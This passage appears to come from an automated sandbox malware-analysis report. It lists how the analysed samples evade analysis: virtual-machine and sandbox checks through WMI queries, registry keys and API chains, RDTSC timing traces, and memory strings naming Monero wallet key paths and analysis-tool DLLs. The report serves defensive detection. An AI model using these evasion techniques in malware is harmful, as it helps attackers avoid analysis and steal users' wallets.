Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Windows\SysWOW64\WerFault.exe	Process information set: NOOPENFILEERRORBOX
Source: C:\Users\user\AppData\Local\Temp\RarSFX0\clamer.exe	Process information set: NOOPENFILEERRORBOX

Malware Analysis System Evasion

Yara detected AntiVM3

Source: Yara match	File source: 26.2.RegAsm.exe.400000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.2Su0FBbBo66AP291hju1uAp_.exe.3a05570.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.RegAsm.exe.400000.1.unpack, type: UNPACKEDPE
Source: Yara match	File source: 13.2.McmVdxsIvLZmG47_ZImbEdvo.exe.3bd5570.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 31.2.RegAsm.exe.400000.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 0000000D.00000002.2175074041.0000000003C0E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001F.00000002.2707484897.0000000000400000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001A.00000002.2955377262.0000000000439000.00000040.00000400.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: file.exe PID: 1704, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2Su0FBbBo66AP291hju1uAp_.exe PID: 2412, type: MEMORYSTR

Found API chain indicative of sandbox detection

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Sandbox detection routine: GetCursorPos, DecisionNode, Sleep

graph_1-48371

Found evasive API chain (may stop execution after reading information in the PEB, e.g. number of processors)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

Evasive API call chain: GetPEB, DecisionNodes, Sleep

graph_1-48373

Found stalling execution ending in API Sleep call

Source: C:\Users\user\Documents\iofolko5\DUGO48VDeAcOvTvqkkCJ3EIG.exe

Stalling execution: Execution stalls by calling Sleep

Queries sensitive disk information (via WMI, Win32_DiskDrive, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT * FROM Win32_DiskDrive

Queries sensitive video device information (via WMI, Win32_VideoController, often done to detect virtual machines)

Source: C:\Windows\Microsoft.NET\Framework\v4.0.30319\RegAsm.exe

WMI Queries: IWbemServices::ExecQuery - root\CIMV2 : SELECT * FROM Win32_VideoController

Tries to detect sandboxes / dynamic malware analysis system (registry check)

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: HKEY_CURRENT_USER\Software\Wine
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	File opened: HKEY_LOCAL_MACHINE\HARDWARE\ACPI\DSDT\VBOX__

Tries to detect sandboxes and other dynamic analysis tools (process name or module or function)

Source: 2Su0FBbBo66AP291hju1uAp_.exe, 00000005.00000002.2178102890.0000000003A1E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:28:0416:28:0416:28:0416:28:0416:28:0416:28:04DELAYS.TMP%S%SNTDLL.DLL
Source: McmVdxsIvLZmG47_ZImbEdvo.exe, 0000000D.00000002.2175074041.0000000003C0E000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: INMPM20IXQUGN9:-?5(\C!7%{->^WALLET_PATHSOFTWARE\MONERO-PROJECT\MONERO-CORE.KEYS\MONERO\WALLET.KEYS\\\.\\...\\\\\\\\\\\\HAL9THJOHNDOEDISPLAYAVGHOOKX.DLLAVGHOOKA.DLLSNXHK.DLLSBIEDLL.DLLAPI_LOG.DLLDIR_WATCH.DLLPSTOREC.DLLVMCHECK.DLLWPESPY.DLLCMDVRT32.DLLCMDVRT64.DLL16:28:0516:28:0516:28:0516:28:0516:28:0516:28:05DELAYS.TMP%S%SNTDLL.DLL

Tries to detect virtualization through RDTSC time measurements

Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: A03811 second address: A03816 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: A03816 second address: A0381C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B79045 second address: B79062 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 jmp 00007FD6ACBFEA09h 0x00000009 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B791AA second address: B791BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 push eax 0x00000006 push edx 0x00000007 push ebx 0x00000008 pop ebx 0x00000009 jmp 00007FD6ACBE62BCh 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B796CC second address: B796E9 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jmp 00007FD6ACBFEA05h 0x0000000d rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B796E9 second address: B796EE instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C396 second address: B7C39A instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C39A second address: B7C3A0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C3A0 second address: B7C3E1 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA07h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 mov eax, dword ptr [esp+04h] 0x0000000d pushad 0x0000000e jmp 00007FD6ACBFE9FDh 0x00000013 jc 00007FD6ACBFE9FCh 0x00000019 popad 0x0000001a mov eax, dword ptr [eax] 0x0000001c push edx 0x0000001d push eax 0x0000001e push edx 0x0000001f pushad 0x00000020 popad 0x00000021 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C3E1 second address: B7C401 instructions: 0x00000000 rdtsc 0x00000002 ja 00007FD6ACBE62B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b mov dword ptr [esp+04h], eax 0x0000000f push eax 0x00000010 push edx 0x00000011 push ebx 0x00000012 jmp 00007FD6ACBE62BDh 0x00000017 pop ebx 0x00000018 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C53C second address: B7C5A9 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA09h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 add dword ptr [esp], 56A6C6AEh 0x00000010 jng 00007FD6ACBFE9FBh 0x00000016 mov edx, 0055EF3Fh 0x0000001b sub cx, 52E7h 0x00000020 lea ebx, dword ptr [ebp+1244C28Ah] 0x00000026 push 00000000h 0x00000028 push ebx 0x00000029 call 00007FD6ACBFE9F8h 0x0000002e pop ebx 0x0000002f mov dword ptr [esp+04h], ebx 0x00000033 add dword ptr [esp+04h], 00000015h 0x0000003b inc ebx 0x0000003c push ebx 0x0000003d ret 0x0000003e pop ebx 0x0000003f ret 0x00000040 movsx edx, bx 0x00000043 xchg eax, ebx 0x00000044 push eax 0x00000045 push edx 0x00000046 jmp 00007FD6ACBFEA00h 0x0000004b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C5A9 second address: B7C5AE instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C6B5 second address: B7C6BB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C6BB second address: B7C6BF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C6BF second address: B7C6D5 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [esp+04h] 0x0000000c push eax 0x0000000d push edx 0x0000000e jl 00007FD6ACBFE9F8h 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C6D5 second address: B7C6E4 instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pushad 0x00000004 popad 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 mov eax, dword ptr [eax] 0x0000000a pushad 0x0000000b push eax 0x0000000c push edx 0x0000000d push eax 0x0000000e push edx 0x0000000f rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C6E4 second address: B7C6E8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C6E8 second address: B7C7A7 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD6ACBE62B6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pushad 0x0000000b push ecx 0x0000000c pop ecx 0x0000000d push eax 0x0000000e pop eax 0x0000000f popad 0x00000010 popad 0x00000011 mov dword ptr [esp+04h], eax 0x00000015 jns 00007FD6ACBE62BAh 0x0000001b push edi 0x0000001c pushad 0x0000001d popad 0x0000001e pop edi 0x0000001f pop eax 0x00000020 mov di, cx 0x00000023 push 00000003h 0x00000025 mov esi, dword ptr [ebp+122D33A0h] 0x0000002b push 00000000h 0x0000002d and dx, F400h 0x00000032 push 00000003h 0x00000034 jmp 00007FD6ACBE62C3h 0x00000039 call 00007FD6ACBE62B9h 0x0000003e jnc 00007FD6ACBE62C4h 0x00000044 push eax 0x00000045 jmp 00007FD6ACBE62C3h 0x0000004a mov eax, dword ptr [esp+04h] 0x0000004e je 00007FD6ACBE62D1h 0x00000054 mov eax, dword ptr [eax] 0x00000056 pushad 0x00000057 jne 00007FD6ACBE62B8h 0x0000005d push ebx 0x0000005e pop ebx 0x0000005f push eax 0x00000060 push edx 0x00000061 jmp 00007FD6ACBE62C5h 0x00000066 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C7A7 second address: B7C7AB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C838 second address: B7C84B instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pushad 0x00000004 popad 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 push eax 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c js 00007FD6ACBE62B6h 0x00000012 pop ecx 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C84B second address: B7C851 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C851 second address: B7C855 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C855 second address: B7C859 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7C859 second address: B7C8EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pop edx 0x00000007 pop eax 0x00000008 nop 0x00000009 push 00000000h 0x0000000b push esi 0x0000000c call 00007FD6ACBE62B8h 0x00000011 pop esi 0x00000012 mov dword ptr [esp+04h], esi 0x00000016 add dword ptr [esp+04h], 0000001Dh 0x0000001e inc esi 0x0000001f push esi 0x00000020 ret 0x00000021 pop esi 0x00000022 ret 0x00000023 or edi, 428491B3h 0x00000029 push 00000000h 0x0000002b mov cl, 82h 0x0000002d push 0FF2CBC0h 0x00000032 jns 00007FD6ACBE62CBh 0x00000038 xor dword ptr [esp], 0FF2CB40h 0x0000003f xor edi, 40D2D9F8h 0x00000045 push 00000003h 0x00000047 xor dword ptr [ebp+122D57C4h], esi 0x0000004d push 00000000h 0x0000004f pushad 0x00000050 add bh, 0000002Eh 0x00000053 add dword ptr [ebp+122D3377h], ebx 0x00000059 popad 0x0000005a push 00000003h 0x0000005c pushad 0x0000005d clc 0x0000005e mov dword ptr [ebp+122D3372h], edx 0x00000064 popad 0x00000065 mov esi, dword ptr [ebp+122D3594h] 0x0000006b push F11C06F0h 0x00000070 push edx 0x00000071 push eax 0x00000072 push edx 0x00000073 push ecx 0x00000074 pop ecx 0x00000075 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9B4EA second address: B9B4EE instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9B4EE second address: B9B554 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FD6ACBE62C3h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push esi 0x0000000c jmp 00007FD6ACBE62BBh 0x00000011 jmp 00007FD6ACBE62C3h 0x00000016 pop esi 0x00000017 pop eax 0x00000018 push eax 0x00000019 push edx 0x0000001a jmp 00007FD6ACBE62C8h 0x0000001f jmp 00007FD6ACBE62C2h 0x00000024 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B72464 second address: B72468 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B72468 second address: B7246C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7246C second address: B7247A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push ecx 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7247A second address: B7249A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 je 00007FD6ACBE62B6h 0x0000000a pop ecx 0x0000000b jmp 00007FD6ACBE62C5h 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B7249A second address: B724B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 jmp 00007FD6ACBFEA00h 0x0000000b rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B99326 second address: B99336 instructions: 0x00000000 rdtsc 0x00000002 jp 00007FD6ACBE62B6h 0x00000008 jg 00007FD6ACBE62B6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B99336 second address: B9933C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push ebx 0x00000005 pop ebx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B994AC second address: B994B0 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B994B0 second address: B994BA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B994BA second address: B994C0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B994C0 second address: B994C4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B994C4 second address: B9950C instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBE62C0h 0x00000007 jmp 00007FD6ACBE62C7h 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f push edi 0x00000010 pop edi 0x00000011 push edx 0x00000012 pop edx 0x00000013 jmp 00007FD6ACBE62C2h 0x00000018 popad 0x00000019 pushad 0x0000001a pushad 0x0000001b popad 0x0000001c push eax 0x0000001d push edx 0x0000001e rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9950C second address: B99512 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B99DA4 second address: B99DA8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9A030 second address: B9A043 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FD6ACBFE9F6h 0x0000000a popad 0x0000000b push ecx 0x0000000c push ebx 0x0000000d pop ebx 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 pushad 0x00000012 popad 0x00000013 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9A043 second address: B9A057 instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 pushad 0x0000000a push ecx 0x0000000b pushad 0x0000000c popad 0x0000000d pop ecx 0x0000000e push eax 0x0000000f push edx 0x00000010 push edi 0x00000011 pop edi 0x00000012 pushad 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9A057 second address: B9A083 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FD6ACBFEA01h 0x00000007 pop edx 0x00000008 pop eax 0x00000009 push eax 0x0000000a push edx 0x0000000b jmp 00007FD6ACBFE9FFh 0x00000010 jng 00007FD6ACBFE9F6h 0x00000016 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9A200 second address: B9A208 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9A208 second address: B9A227 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jmp 00007FD6ACBFEA03h 0x0000000b popad 0x0000000c pushad 0x0000000d push edi 0x0000000e pop edi 0x0000000f push eax 0x00000010 push edx 0x00000011 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9A385 second address: B9A38C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B8F6E6 second address: B8F6EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B8F6EC second address: B8F6F6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FD6ACBE62B6h 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B8F6F6 second address: B8F716 instructions: 0x00000000 rdtsc 0x00000002 je 00007FD6ACBFE9F6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c js 00007FD6ACBFEA17h 0x00000012 push eax 0x00000013 push edx 0x00000014 jnc 00007FD6ACBFE9F6h 0x0000001a jc 00007FD6ACBFE9F6h 0x00000020 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9AC3C second address: B9AC40 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9AC40 second address: B9AC4A instructions: 0x00000000 rdtsc 0x00000002 jne 00007FD6ACBFE9F6h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Documents\iofolko5\Mk75cxC4KyOkgnwZzE1K_RlU.exe	RDTSC instruction interceptor: First address: B9AC4A second address: B9AC68 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a jmp 00007FD6ACBE62C4h 0x0000000f rdtsc
